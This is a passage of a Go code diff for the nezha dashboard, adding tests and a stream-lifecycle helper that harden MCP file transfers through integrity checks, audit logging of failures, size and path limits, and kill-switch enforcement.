require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.Equal(t, http.StatusOK, resp.StatusCode, "status=%d body=%q", resp.StatusCode, string(body)) + require.Equal(t, want, body, "client must receive raw file bytes") +} + +func mintUploadURL(t *testing.T, ts *httptest.Server, tok, path string) string { + t.Helper() + body := map[string]any{ + "jsonrpc": "2.0", "id": 1, "method": "tools/call", + "params": map[string]any{ + "name": "fs.upload_url", + "arguments": map[string]any{"server_id": 7, "path": path, "ttl_seconds": 60}, + }, + } + b, _ := json.Marshal(body) + req, _ := http.NewRequest("POST", ts.URL+"/mcp", bytes.NewReader(b)) + req.Header.Set("Authorization", "Bearer "+tok) + req.Header.Set("Content-Type", "application/json") + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + out, _ := io.ReadAll(resp.Body) + var env map[string]any + require.NoError(t, json.Unmarshal(out, &env)) + res, _ := env["result"].(map[string]any) + struc, _ := res["structuredContent"].(map[string]any) + url, _ := struc["url"].(string) + require.NotEmpty(t, url, "fs.upload_url did not return url: %v", env) + return ts.URL + url[strings.Index(url, "/mcp/"):] +} + +func TestTransferUpload_PreservesArbitraryBinary(t *testing.T) { + binary := []byte{0x00, 0x01, 0xC3, 0x28, 0xFF, 0xFE, 'h', 'i'} + var captured []byte + var capturedMu sync.Mutex + agent := func(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + got, err := xferAgentUploadRead(req, stream) + capturedMu.Lock() + captured = got + capturedMu.Unlock() + if err != nil { + return got, err + } + return got, xferAgentUploadAck(stream, uint64(len(got))) + } + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintUploadURL(t, ts, tok, "/srv/upload.bin") + upResp, err := http.Post(url, "application/octet-stream", bytes.NewReader(binary)) + require.NoError(t, err) + defer upResp.Body.Close() + require.Equal(t, http.StatusOK, upResp.StatusCode) + + capturedMu.Lock() + defer capturedMu.Unlock() + require.Equal(t, binary, captured, "agent must receive byte-for-byte body") +} + +// agent 发完声明的 payload 后没有发任何最终控制帧就关掉 stream 时， +// dashboard 不能把这个未确认的传输当成成功：因为协议规定下载完成由 NZTO +// 帧承载 size/SHA256，缺失最终帧意味着 agent 没有正向确认整段数据。 +func TestTransferDownload_MissingFinalOKFrameMustFail(t *testing.T) { + payload := []byte("partial-but-no-final-ok") + agent := func(_ *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + hdr := append([]byte(nil), model.MCPFsXferMagicDownloadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(len(payload))) + hdr = append(hdr, sz...) + hdr = append(hdr, make([]byte, 32)...) + if _, err := stream.Write(hdr); err != nil { + return nil, err + } + chunk := append([]byte(nil), model.MCPFsXferMagicChunk...) + chunkLen := make([]byte, 8) + binary.BigEndian.PutUint64(chunkLen, uint64(len(payload))) + chunk = append(chunk, chunkLen...) + chunk = append(chunk, payload...) + if _, err := stream.Write(chunk); err != nil { + return nil, err + } + // 故意不发任何最终帧：直接由 setup 的 defer agentSide.Close() 关闭。 + return payload, nil + } + + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/missing-final.bin") + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.NotEqualf(t, http.StatusOK, resp.StatusCode, + "download without a final NZTO must not be reported as 200 OK; body=%q", string(body)) +} + +// agent 在 payload 之后写了一个非 NZTO 也非 NZTE 的乱码 4 字节 magic 时， +// dashboard 必须把它当作协议错误，而不是默默成功。 +func TestTransferDownload_NonOKNonErrFinalMagicMustFail(t *testing.T) { + payload := []byte("ok-bytes-but-bogus-tail") + agent := func(_ *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + hdr := append([]byte(nil), model.MCPFsXferMagicDownloadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(len(payload))) + hdr = append(hdr, sz...) + hdr = append(hdr, make([]byte, 32)...) + if _, err := stream.Write(hdr); err != nil { + return nil, err + } + chunk := append([]byte(nil), model.MCPFsXferMagicChunk...) + chunkLen := make([]byte, 8) + binary.BigEndian.PutUint64(chunkLen, uint64(len(payload))) + chunk = append(chunk, chunkLen...) + chunk = append(chunk, payload...) + if _, err := stream.Write(chunk); err != nil { + return nil, err + } + // 12 字节、非 NZTO/NZTE 的乱码最终帧。 + bogus := []byte{'X', 'X', 'X', 'X', 0, 0, 0, 0, 0, 0, 0, 0} + if _, err := stream.Write(bogus); err != nil { + return nil, err + } + return payload, nil + } + + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/bogus-final.bin") + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.NotEqualf(t, http.StatusOK, resp.StatusCode, + "download with a non-NZTO non-NZTE final frame must not be reported as 200 OK; body=%q", string(body)) +} + +// agent 拒绝（NZTE）时 dashboard 必须把错误透出去，不能假装 200。 +func TestTransferDownload_SurfacesAgentError(t *testing.T) { + ts, tok, cleanup := setupTransferTest(t, xferAgentError("file too large")) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/huge") + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + require.NotEqual(t, http.StatusOK, resp.StatusCode, + "agent NZTE must surface as non-200 to client") +} + +// 下载途中 agent 发现源被截断并切到 NZTE 错误帧时，dashboard 绝不能 +// 把那个错误帧的字节当成文件正文塞进 HTTP body —— 协议帧和文件字节 +// 共用同一条 IOStream，HTTP 客户端不应收到“200 OK + 截断后混入 NZTE +// magic + agent 错误文本”。 +func TestTransferDownload_MidStreamErrorDoesNotCorruptBody(t *testing.T) { + declared := []byte("HELLO-WORLD!") + partial := declared[:5] + + agent := func(_ *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + hdr := append([]byte(nil), model.MCPFsXferMagicDownloadHdr...) + sz := make([]byte, 8) + binary.BigEndian.PutUint64(sz, uint64(len(declared))) + hdr = append(hdr, sz...) + hdr = append(hdr, make([]byte, 32)...) + if _, err := stream.Write(hdr); err != nil { + return nil, err + } + chunk := append([]byte(nil), model.MCPFsXferMagicChunk...) + chunkLen := make([]byte, 8) + binary.BigEndian.PutUint64(chunkLen, uint64(len(partial))) + chunk = append(chunk, chunkLen...) + chunk = append(chunk, partial...) + if _, err := stream.Write(chunk); err != nil { + return nil, err + } + errFrame := append([]byte(nil), model.MCPFsXferMagicErr...) + errFrame = append(errFrame, []byte("source truncated mid-transfer")...) + _, err := stream.Write(errFrame) + return partial, err + } + + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/blob") + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + + body, _ := io.ReadAll(resp.Body) + + if resp.StatusCode == http.StatusOK { + require.Failf(t, "mid-stream NZTE leaked into HTTP body", + "expected non-200 once agent switched to NZTE; got 200 with body=%q (len=%d, declared=%d)", + string(body), len(body), len(declared)) + } + require.NotContains(t, string(body), string(model.MCPFsXferMagicErr), + "NZTE control frame magic must never appear in the HTTP body") +} + +// 上传时 Content-Length 超过 100MiB 必须直接 413，不进 IOStream。 +func TestTransferUpload_RejectsOversizedBody(t *testing.T) { + ts, tok, cleanup := setupTransferTest(t, xferAgentUploadAccept) + defer cleanup() + + url := mintUploadURL(t, ts, tok, "/srv/big.bin") + body := &bigReader{remaining: model.MCPFsTransferMaxSize + 1} + req, _ := http.NewRequest("POST", url, body) + req.ContentLength = int64(model.MCPFsTransferMaxSize + 1) + resp, err := http.DefaultClient.Do(req) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusRequestEntityTooLarge, resp.StatusCode) +} + +// dashboard 必须接受 ?sha256=<64hex> 形式并把 32B sha 透传给 agent。这个测试 +// 不模拟失败，仅锁定 query 透传 + agent 正常返回 NZTO 时整链路 200。SHA256 +// 真不匹配走的是下面 TestTransferUpload_SHA256MismatchReturns502。 +func TestTransferUpload_AcceptsSHA256Query(t *testing.T) { + want := []byte("ohi") + var sawExpected string + var sawMu sync.Mutex + agent := func(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + sawMu.Lock() + sawExpected = req.ExpectedSHA256 + sawMu.Unlock() + return xferAgentUploadAccept(req, stream) + } + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + want64 := strings.Repeat("0", 64) + url := mintUploadURL(t, ts, tok, "/srv/up.bin") + url += "?sha256=" + want64 + resp, err := http.Post(url, "application/octet-stream", bytes.NewReader(want)) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusOK, resp.StatusCode) + sawMu.Lock() + defer sawMu.Unlock() + require.Equal(t, want64, sawExpected, "dashboard must forward ?sha256 to agent verbatim") +} + +// SHA256 不匹配时 agent 会用 NZTE 拒绝；dashboard 必须把 NZTE 透传成 502 而不是 +// 因为 io.CopyN 已经写完 body 就返回 200。原版测试用 xferAgentUploadAccept 模拟 +// 成功握手，错误返回值被 dashboard 忽略，最终断言 200，把这条 integrity 错误 +// 路径假阳性 pin 住了。此处用 xferAgentError 真正模拟 agent NZTE。 +func TestTransferUpload_SHA256MismatchReturns502(t *testing.T) { + want := []byte("ohi") + agent := func(req *model.FsTransferRequest, stream io.ReadWriteCloser) ([]byte, error) { + if _, err := xferAgentUploadRead(req, stream); err != nil { + return nil, err + } + return xferAgentError("sha256 mismatch")(req, stream) + } + ts, tok, cleanup := setupTransferTest(t, agent) + defer cleanup() + + url := mintUploadURL(t, ts, tok, "/srv/up.bin") + url += "?sha256=" + strings.Repeat("0", 64) + resp, err := http.Post(url, "application/octet-stream", bytes.NewReader(want)) + require.NoError(t, err) + defer resp.Body.Close() + require.Equal(t, http.StatusBadGateway, resp.StatusCode) + body, _ := io.ReadAll(resp.Body) + require.Contains(t, string(body), "sha256 mismatch") +} + +type bigReader struct{ remaining int64 } + +func (b *bigReader) Read(p []byte) (int, error) { + if b.remaining <= 0 { + return 0, io.EOF + } + n := len(p) + if int64(n) > b.remaining { + n = int(b.remaining) + } + for i := 0; i < n; i++ { + p[i] = 0 + } + b.remaining -= int64(n) + return n, nil +} diff --git a/cmd/dashboard/controller/mcp_transfer_data_frame_collision_test.go b/cmd/dashboard/controller/mcp_transfer_data_frame_collision_test.go new file mode 100644 index 00000000..89b7edfe --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_data_frame_collision_test.go @@ -0,0 +1,30 @@ +package controller + +import ( + "io" + "net/http" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" +) + +func TestTransferDownload_DataFrameBeginningWithErrMagicIsNotMisclassified(t *testing.T) { + collide := append([]byte(nil), model.MCPFsXferMagicErr...) + collide = append(collide, []byte("xx-real-file-bytes-xx")...) + + ts, tok, cleanup := setupTransferTest(t, xferAgentDownloadSend(collide)) + defer cleanup() + + url := mintDownloadURL(t, ts, tok, "/srv/collide.bin") + resp, err := http.Get(url) + require.NoError(t, err) + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + require.Equal(t, http.StatusOK, resp.StatusCode, + "file content starting with the NZTE magic must not be misread as an agent error; status=%d body=%q", + resp.StatusCode, string(body)) + require.Equal(t, collide, body, + "client must receive the raw file bytes byte-for-byte even when they start with NZTE") +} diff --git a/cmd/dashboard/controller/mcp_transfer_download_finalcheck_test.go b/cmd/dashboard/controller/mcp_transfer_download_finalcheck_test.go new file mode 100644 index 00000000..d25b4277 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_download_finalcheck_test.go @@ -0,0 +1,124 @@ +package controller + +import ( + "bytes" + "crypto/sha256" + "encoding/binary" + "encoding/hex" + "testing" + + "github.com/nezhahq/nezha/model" +) + +// M2 regression: download finalisation must validate the trailing NZTO +// frame's declared size AND sha256 against what was actually streamed. +// The old relay only checked the 4-byte magic, so a truncated NZTO (no +// hash) or a wrong-hash payload was silently accepted. +func TestValidateDownloadFinal_RejectsTruncatedNZTO(t *testing.T) { + buf := make([]byte, 4) + copy(buf, model.MCPFsXferMagicOK) + if err := validateDownloadFinal(buf, 0, sha256.New().Sum(nil)); err == nil { + t.Fatal("a 4-byte NZTO (magic only, no size+sha) must be rejected") + } +} + +func TestValidateDownloadFinal_RejectsSizeMismatch(t *testing.T) { + h := sha256.New() + h.Write([]byte("payload")) + sum := h.Sum(nil) + + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicOK) + binary.BigEndian.PutUint64(buf[4:12], 999) // declared size 999 + copy(buf[12:44], sum) + + if err := validateDownloadFinal(buf, int64(len("payload")), sum); err == nil { + t.Fatal("declared size mismatch with actual streamed bytes must be rejected") + } +} + +func TestValidateDownloadFinal_RejectsHashMismatch(t *testing.T) { + declared := []byte("declared") + streamed := []byte("streamed-something-else") + h := sha256.New() + h.Write(declared) + declaredHash := h.Sum(nil) + + streamedH := sha256.New() + streamedH.Write(streamed) + streamedHash := streamedH.Sum(nil) + + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicOK) + binary.BigEndian.PutUint64(buf[4:12], uint64(len(streamed))) + copy(buf[12:44], declaredHash) + + if err := validateDownloadFinal(buf, int64(len(streamed)), streamedHash); err == nil { + t.Fatal("declared sha256 != streamed sha256 must be rejected") + } +} + +func TestValidateDownloadFinal_AcceptsMatchingSizeAndHash(t *testing.T) { + payload := []byte("hello world") + h := sha256.New() + h.Write(payload) + sum := h.Sum(nil) + + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicOK) + binary.BigEndian.PutUint64(buf[4:12], uint64(len(payload))) + copy(buf[12:44], sum) + + if err := validateDownloadFinal(buf, int64(len(payload)), sum); err != nil { + t.Fatalf("matching final header must pass, got %v", err) + } +} + +// Hash skip: agent may omit the sha when the source filesystem can't +// produce one (e.g. live device). Encode as all-zero sha256; that's a +// legal but explicit "no hash" signal. Size must still match. +func TestValidateDownloadFinal_AllowsAllZeroHashAsExplicitSkip(t *testing.T) { + payload := []byte("nothash") + streamedHash, _ := hex.DecodeString("0000000000000000000000000000000000000000000000000000000000000000") + + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicOK) + binary.BigEndian.PutUint64(buf[4:12], uint64(len(payload))) + // declared bytes 12-44 already zero by make() + + if err := validateDownloadFinal(buf, int64(len(payload)), streamedHash); err != nil { + t.Fatalf("all-zero declared hash with matching size must pass (explicit skip), got %v", err) + } +} + +// Defence-in-depth: the magic must still match. validateDownloadFinal is +// reached after the relay already checked it, but a second check costs +// nothing and survives future refactors that split the parsing. +func TestValidateDownloadFinal_RejectsWrongMagic(t *testing.T) { + buf := make([]byte, 4+8+32) + copy(buf[:4], []byte("XXXX")) + if err := validateDownloadFinal(buf, 0, sha256.New().Sum(nil)); err == nil { + t.Fatal("non-NZTO magic must be rejected") + } +} + +// Defence-in-depth: bytes.Compare of slices of different length still +// returns non-zero, but Go semantics for hex.EncodeToString are wider +// than 32 bytes. Pin that the validator only inspects the first 32 hash +// bytes. +func TestValidateDownloadFinal_OnlyConsiders32HashBytes(t *testing.T) { + payload := []byte("X") + h := sha256.New() + h.Write(payload) + sum := h.Sum(nil) + + buf := make([]byte, 4+8+32) + copy(buf[:4], model.MCPFsXferMagicOK) + binary.BigEndian.PutUint64(buf[4:12], uint64(len(payload))) + copy(buf[12:44], sum) + streamedHashExtra := append(bytes.Clone(sum), 0xAA, 0xBB) + + if err := validateDownloadFinal(buf, int64(len(payload)), streamedHashExtra); err != nil { + t.Fatalf("validator must compare exactly the first 32 streamed hash bytes, got %v", err) + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_failure_audit_test.go b/cmd/dashboard/controller/mcp_transfer_failure_audit_test.go new file mode 100644 index 00000000..113a9fa3 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_failure_audit_test.go @@ -0,0 +1,147 @@ +package controller + +import ( + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/gin-gonic/gin" + "github.com/stretchr/testify/require" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +// fs.upload / fs.download 失败路径必须写一条 MCPAuditLog，否则审计表只能看到 +// 成功调用，运营无法发现"PAT 被吊销后仍有人尝试消费 URL"、"agent 拒绝执行"、 +// "kill switch 已开却仍有调用打进来"这类信号。成功路径已经在写审计，这里把 +// 失败路径的契约钉死。 + +func countAuditRows(t *testing.T, tool, outcome string) int64 { + t.Helper() + var cnt int64 + q := singleton.DB.Model(&model.MCPAuditLog{}).Where("tool = ?", tool) + if outcome != "" { + q = q.Where("outcome = ?", outcome) + } + require.NoError(t, q.Count(&cnt).Error) + return cnt +} + +func newTransferRouter(t *testing.T) *gin.Engine { + t.Helper() + gin.SetMode(gin.TestMode) + r := gin.New() + r.GET("/mcp/download/:token", transferDownloadHandler) + r.POST("/mcp/upload/:token", transferUploadHandler) + return r +} + +func TestTransferDownload_AuditsTokenExpired(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + r := newTransferRouter(t) + + url, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(-time.Second), + }) + require.NoError(t, err) + + w := httptest.NewRecorder() + req := httptest.NewRequest("GET", "/mcp/download/"+url, nil) + r.ServeHTTP(w, req) + + require.Equal(t, http.StatusUnauthorized, w.Code, + "expired token must surface as 401 to client") + require.Equal(t, int64(1), countAuditRows(t, "fs.download", ""), + "failed download must still produce an audit row so SIEM can observe the rejection") +} + +func TestTransferDownload_AuditsRevalidateFailureWhenMCPDisabled(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerRead}, nil) + r := newTransferRouter(t) + + url, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirDownload, + ExpiresAt: time.Now().Add(5 * time.Minute), + }) + require.NoError(t, err) + singleton.Conf.SetMCPEnabled(false) + + w := httptest.NewRecorder() + req := httptest.NewRequest("GET", "/mcp/download/"+url, nil) + r.ServeHTTP(w, req) + + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Equal(t, int64(1), + countAuditRows(t, "fs.download", model.MCPOutcomeMCPDisabled), + "kill switch must be observable in audit log with outcome=mcp_disabled, not silently swallowed") +} + +func TestTransferUpload_AuditsTokenExpired(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerWrite}, nil) + r := newTransferRouter(t) + + url, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirUpload, + ExpiresAt: time.Now().Add(-time.Second), + }) + require.NoError(t, err) + + w := httptest.NewRecorder() + req := httptest.NewRequest("POST", "/mcp/upload/"+url, strings.NewReader("")) + req.ContentLength = 0 + r.ServeHTTP(w, req) + + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Equal(t, int64(1), countAuditRows(t, "fs.upload", ""), + "failed upload must still produce an audit row") +} + +func TestTransferUpload_AuditsRevalidateFailureWhenMCPDisabled(t *testing.T) { + cleanup, uid := setupMCPTest(t) + defer cleanup() + tok, _ := mkToken(t, uid, []string{model.ScopeServerWrite}, nil) + r := newTransferRouter(t) + + url, err := mintTransferToken(transferEntry{ + UserID: uid, + TokenID: tok.ID, + ServerID: 7, + Path: "/srv/blob", + Direction: transferDirUpload, + ExpiresAt: time.Now().Add(5 * time.Minute), + }) + require.NoError(t, err) + singleton.Conf.SetMCPEnabled(false) + + w := httptest.NewRecorder() + req := httptest.NewRequest("POST", "/mcp/upload/"+url, strings.NewReader("")) + req.ContentLength = 0 + r.ServeHTTP(w, req) + + require.Equal(t, http.StatusUnauthorized, w.Code) + require.Equal(t, int64(1), + countAuditRows(t, "fs.upload", model.MCPOutcomeMCPDisabled), + "upload kill switch must be observable in audit log") +} diff --git a/cmd/dashboard/controller/mcp_transfer_gc_test.go b/cmd/dashboard/controller/mcp_transfer_gc_test.go new file mode 100644 index 00000000..36dfbb84 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_gc_test.go @@ -0,0 +1,53 @@ +package controller + +import ( + "testing" + "time" + + "github.com/stretchr/testify/require" +) + +// transferEntries 是 mint→consume 的内存表。 +// mintTransferToken 把 token Store 进去，consumeTransferToken 命中后才删， +// PurgeTransferEntries 是 kill switch 的全量清理。这条路径目前缺一个 +// 按 ExpiresAt 的过期回收：从未被 consume 的 token 会一直留到下一次 +// kill switch 才被清掉。 +// +// 这条测试钉死「过期项必须被 gcExpiredTransferEntries() 清掉， +// 且未过期项必须保留」。 +func TestGCExpiredTransferEntries_RemovesOnlyExpired(t *testing.T) { + // 隔离全局状态，避免被其它测试遗留的 entry 干扰。 + PurgeTransferEntries() + t.Cleanup(func() { PurgeTransferEntries() }) + + now := time.Now() + expiredTok, err := mintTransferToken(transferEntry{ + UserID: 1, + TokenID: 1, + ServerID: 1, + Path: "/srv/expired", + Direction: transferDirDownload, + ExpiresAt: now.Add(-time.Second), + }) + require.NoError(t, err) + freshTok, err := mintTransferToken(transferEntry{ + UserID: 1, + TokenID: 1, + ServerID: 1, + Path: "/srv/fresh", + Direction: transferDirDownload, + ExpiresAt: now.Add(5 * time.Minute), + }) + require.NoError(t, err) + + removed := gcExpiredTransferEntries(now) + require.Equal(t, 1, removed, "exactly one expired entry must be removed") + + _, expiredStillThere := transferEntries.Load(expiredTok) + require.False(t, expiredStillThere, "expired entry must be gone after GC") + _, freshStillThere := transferEntries.Load(freshTok) + require.True(t, freshStillThere, "fresh entry must survive GC") + + // 二次 GC 不应误删未过期项，也不应报告假阳性。 + require.Equal(t, 0, gcExpiredTransferEntries(now), "second GC must be a no-op for non-expired entries") +} diff --git a/cmd/dashboard/controller/mcp_transfer_lifecycle.go b/cmd/dashboard/controller/mcp_transfer_lifecycle.go new file mode 100644 index 00000000..968e9bd0 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_lifecycle.go @@ -0,0 +1,84 @@ +package controller + +import ( + "context" + "encoding/json" + "errors" + "io" + "sync" + "time" + + "github.com/hashicorp/go-uuid" + + "github.com/nezhahq/nezha/model" + pb "github.com/nezhahq/nezha/proto" + "github.com/nezhahq/nezha/service/rpc" + "github.com/nezhahq/nezha/service/singleton" +) + +// openFsTransferStream owns the task-to-agent IOStream lifecycle. The returned +// cleanup is safe for concurrent callers and shares ownership with cancellation. +func openFsTransferStream(ctx context.Context, serverID uint64, req *model.FsTransferRequest) (io.ReadWriteCloser, func(), error) { + if singleton.Conf == nil || !singleton.Conf.MCPEnabled() { + return nil, func() {}, errors.New("MCP is disabled by the dashboard administrator") + } + server, _ := singleton.ServerShared.Get(serverID) + if server == nil || server.GetTaskStream() == nil { + return nil, func() {}, errors.New("server offline") + } + handler := rpc.NezhaHandlerSingleton + + streamID, err := uuid.GenerateUUID() + if err != nil { + return nil, func() {}, err + } + req.StreamID = streamID + if err := handler.CreateStreamWithPurpose(streamID, 0, serverID, rpc.PurposeMCPTransfer); err != nil { + return nil, func() {}, err + } + var cleanupOnce sync.Once + cleanup := func() { cleanupOnce.Do(func() { _ = handler.CloseStream(streamID) }) } + + body, err := json.Marshal(req) + if err != nil { + cleanup() + return nil, func() {}, err + } + // The stream is owned by cleanup until the caller receives it; every failure path releases it. + if singleton.Conf == nil || !singleton.Conf.MCPEnabled() { + cleanup() + return nil, func() {}, errors.New("MCP is disabled by the dashboard administrator") + } + if err := ctx.Err(); err != nil { + cleanup() + return nil, func() {}, err + } + if err := server.SendTask(&pb.Task{Type: model.TaskTypeFsTransfer, Data: string(body)}); err != nil { + cleanup() + if errors.Is(err, model.ErrTaskStreamOffline) { + return nil, func() {}, errors.New("server offline") + } + return nil, func() {}, err + } + + agentStream, ok := handler.WaitForAgent(ctx, streamID, 30*time.Second) + if !ok { + cleanup() + return nil, func() {}, errors.New("agent did not attach within 30s") + } + + watcherDone := make(chan struct{}) + var watcherOnce sync.Once + go func() { + select { + case <-ctx.Done(): + cleanup() + case <-watcherDone: + } + }() + wrappedCleanup := func() { + watcherOnce.Do(func() { close(watcherDone) }) + cleanup() + } + return agentStream, wrappedCleanup, nil +} diff --git a/cmd/dashboard/controller/mcp_transfer_no_full_buffer_test.go b/cmd/dashboard/controller/mcp_transfer_no_full_buffer_test.go new file mode 100644 index 00000000..4872fa4e --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_no_full_buffer_test.go @@ -0,0 +1,113 @@ +package controller + +import ( + "bufio" + "bytes" + "encoding/binary" + "errors" + "net" + "net/http" + "runtime" + "testing" + + "github.com/gin-gonic/gin" + + "github.com/nezhahq/nezha/model" +) + +type fixedSizeFrameStream struct { + buf bytes.Buffer +} + +func (s *fixedSizeFrameStream) Read(p []byte) (int, error) { return s.buf.Read(p) } +func (s *fixedSizeFrameStream) Write(p []byte) (int, error) { return len(p), nil } +func (s *fixedSizeFrameStream) Close() error { return nil } + +func writeChunkFrame(out *bytes.Buffer, chunk []byte) { + out.Write(model.MCPFsXferMagicChunk) + var sz [8]byte + binary.BigEndian.PutUint64(sz[:], uint64(len(chunk))) + out.Write(sz[:]) + out.Write(chunk) +} + +func writeOKFrame(out *bytes.Buffer, size uint64) { + out.Write(model.MCPFsXferMagicOK) + var sz [8]byte + binary.BigEndian.PutUint64(sz[:], size) + out.Write(sz[:]) + out.Write(make([]byte, 32)) +} + +// countingDiscardWriter satisfies http.ResponseWriter but throws bytes away +// after counting them, so the test can measure relayDownloadFrames heap +// pressure without httptest.ResponseRecorder caching 100MiB of body in +// memory and dominating the measurement. +type countingDiscardWriter struct { + header http.Header + written int64 + status int +} + +func newCountingDiscardWriter() *countingDiscardWriter { + return &countingDiscardWriter{header: make(http.Header)} +} + +func (w *countingDiscardWriter) Header() http.Header { return w.header } +func (w *countingDiscardWriter) Write(p []byte) (int, error) { + w.written += int64(len(p)) + return len(p), nil +} +func (w *countingDiscardWriter) WriteHeader(status int) { w.status = status } +func (w *countingDiscardWriter) Flush() {} +func (w *countingDiscardWriter) Hijack() (net.Conn, *bufio.ReadWriter, error) { + return nil, nil, errors.New("not hijackable") +} + +func TestRelayDownloadFrames_DoesNotBufferEntirePayloadInMemory(t *testing.T) { + const size = int64(model.MCPFsTransferMaxSize) + const chunk = 1 * 1024 * 1024 + + var src bytes.Buffer + payload := make([]byte, chunk) + for i := range payload { + payload[i] = byte(i % 251) + } + remaining := size + for remaining > 0 { + toWrite := int64(chunk) + if toWrite > remaining { + toWrite = remaining + } + writeChunkFrame(&src, payload[:toWrite]) + remaining -= toWrite + } + writeOKFrame(&src, uint64(size)) + + stream := &fixedSizeFrameStream{buf: src} + + sink := newCountingDiscardWriter() + gin.SetMode(gin.TestMode) + c, _ := gin.CreateTestContext(sink) + + runtime.GC() + var before runtime.MemStats + runtime.ReadMemStats(&before) + + if err := relayDownloadFrames(c, stream, size); err != nil { + t.Fatalf("relayDownloadFrames returned err: %v", err) + } + + var after runtime.MemStats + runtime.ReadMemStats(&after) + + delta := int64(after.HeapAlloc) - int64(before.HeapAlloc) + const allow = 16 * 1024 * 1024 + if delta > allow { + t.Fatalf("relayDownloadFrames retained %d bytes in heap after a %d-byte transfer (allow <= %d). 100MiB 旁路通道不应整文件缓在 dashboard 内存里。", + delta, size, allow) + } + if sink.written != size { + t.Fatalf("expected %d bytes forwarded to HTTP client, got %d", size, sink.written) + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_path_cap_test.go b/cmd/dashboard/controller/mcp_transfer_path_cap_test.go new file mode 100644 index 00000000..54061b41 --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_path_cap_test.go @@ -0,0 +1,38 @@ +package controller + +import ( + "context" + "strings" + "testing" + + "github.com/nezhahq/nezha/model" + "github.com/nezhahq/nezha/service/singleton" +) + +func TestValidateTransferPathRejectsOversizedPath(t *testing.T) { + if err := validateTransferPath(strings.Repeat("a", maxTransferPathLen+1)); err == nil { + t.Fatal("path longer than maxTransferPathLen must be rejected to bound transferEntry memory") + } + if err := validateTransferPath(""); err == nil { + t.Fatal("empty path must be rejected") + } + if err := validateTransferPath("/etc/hostname"); err != nil { + t.Fatalf("a normal path must be accepted, got %v", err) + } +} + +// openFsTransferStream must refuse to start a new transfer (and never reach +// SendTask) once the administrator has disabled MCP, closing the race window +// between revalidateTransferEntry and stream creation. +func TestOpenFsTransferStreamRefusesWhenMCPDisabled(t *testing.T) { + originalConf := singleton.Conf + t.Cleanup(func() { singleton.Conf = originalConf }) + cfg := &model.Config{} + cfg.SetMCPEnabled(false) + singleton.Conf = &singleton.ConfigClass{Config: cfg} + + _, _, err := openFsTransferStream(context.Background(), 1, &model.FsTransferRequest{}) + if err == nil { + t.Fatal("transfer stream must not open while MCP is disabled") + } +} diff --git a/cmd/dashboard/controller/mcp_transfer_size_guard_test.go b/cmd/dashboard/controller/mcp_transfer_size_guard_test.go new file mode 100644 index 00000000..05bd2afd --- /dev/null +++ b/cmd/dashboard/controller/mcp_transfer_size_guard_test.go @@ -0,0 +1,56 @@ +package controller + +import ( + "encoding/binary" + "testing" + + "github.com/nezhahq/nezha/model" +) + +// M3 regression: a malicious or corrupt agent can put `> MaxInt64` into the +// size field of an NZTU/NZTD/NZTO frame. Direct uint64→int64 cast wraps to +// a negative value, which bypasses the `hdr.Size > MCPFsTransferMaxSize` +// check 